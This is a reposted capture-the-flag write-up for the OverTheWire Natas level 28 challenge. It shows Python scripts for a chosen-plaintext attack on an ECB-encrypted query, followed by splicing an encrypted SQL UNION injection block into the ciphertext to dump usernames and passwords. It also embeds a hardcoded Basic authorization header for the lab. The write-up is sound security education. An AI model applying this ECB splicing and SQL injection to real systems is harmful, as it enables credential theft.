转:Natas Wargame Level28 Writeup(EBC加密破解)

From:http://alkalinesecurity.com/blog/ctf-writeups/natas-28-getting-it-wrong/

Now that I knew it was ECB I decided to use a chosen plaintext attack, which would allow me to decrypt the portion of the ciphertext after the part that corresponded to the bytes of my query. I found another nice framework to carry this out, chosen-plaintext by EiNSeiN. Using this I produced the following code:

 import requests
 from urllib import quote, unquote
 from chosen_plaintext import ChosenPlaintext

 class Client(ChosenPlaintext):

     def __init__(self):
         ChosenPlaintext.__init__(self)
         #self.block_size = 16
         #self.plaintext_offset = 32

         return

     def ciphertext(self, plaintext):

         print "[*] Trying plaintext: %s" % plaintext.encode("hex")
         headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}
         resp = requests.post("http://natas28.natas.labs.overthewire.org/index.php", data={"query": plaintext}, headers=headers)

         data = unquote(resp.url.split("query=")[1]).decode("base64")
         print "[*] Got ciphertext: %s" % unquote(resp.url.split("query=")[1]).decode("base64").encode("hex")

         return data

 c = Client()
 c.run()
 print 'recovered', repr(c.plaintext)

But this code also failed after it found a single byte of plaintext: “%”! So again I thought the code must be wrong. However eventually I remembered that some query characters were being escaped which breaks the ability to perform the chosen plaintext attack beyond an occurrence of one of those characters. So now I knew the next two parts of the plaintext were % and an escaped character. After thinking for a little about it I concluded that it was %’ because it was the end of a SQL LIKE clause, something like “… WHERE joke_body LIKE ‘%{escaped_query}%’ …”. This fit the behavior of the script and made sense with those characters. So now I knew that the ciphertext was an ECB Mode Block Cipher encrypted SQL query. Now since ECB simply encrypts each block separately I could encrypt a block containing valid SQL syntax and then insert it after the %’ in the ciphertext in order to achieve SQL injection. The code below accomplishes this and prints out the password.

 import requests
 from urllib import quote, unquote
 import re

 from pwn import *

 natas_url = "http://natas28.natas.labs.overthewire.org/index.php"
 search_url = "http://natas28.natas.labs.overthewire.org/search.php/?query="

 #authorization header
 headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}

 log.info("Retrieving first ciphertext")

 #pad plaintext to ensure it takes up a full ciphertext block
 plaintext = "A"*10 + "B"*14
 resp = requests.post(natas_url, data={"query": plaintext}, headers=headers)

 #get the raw bytes of the ciphertext
 encoded_ciphertext = resp.url.split("query=")[1]
 ciphertext = unquote(encoded_ciphertext).decode("base64")

 #sql to inject into ciphertext query
 new_sql = " UNION ALL SELECT concat(username,0x3A,password) FROM users #"
 log.info("Appending query: %s" % new_sql)

 #pad plaintext to ensure it also takes up a whole number of ciphertext blocks
 plaintext = "A"*10 + new_sql + "B"*(16-(len(new_sql)%16))
 offset = 48 + len(plaintext)-10

 resp = requests.post(natas_url, data={"query": plaintext}, headers=headers)
 encoded_new_ciphertext = resp.url.split("query=")[1]
 new_ciphertext = unquote(encoded_new_ciphertext).decode("base64")
 encrypted_sql = new_ciphertext[48:offset]

 #add the encrypted new sql into the final ciphertext
 final_ciphertext = ciphertext[:64]+encrypted_sql+ciphertext[64:]

 resp = requests.get(search_url, params={"query":final_ciphertext.encode("base64")}, headers=headers)

 log.info("Response: %s" % re.findall("<li>(.*?)</li>", resp.content)[0])

This was a surprising and interesting challenge. It nicely demonstrates the weakness of ECB block ciphers when the attacker is able to partially control plaintext. It also demonstrated to me that I should never be so sure of my initial assessment that I am blinded when new evidence appears.

reference:

https://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_concat

上一篇:【python】以souhu邮箱为例学习DDT数据驱动测试


下一篇:CSS,JavaScript知识点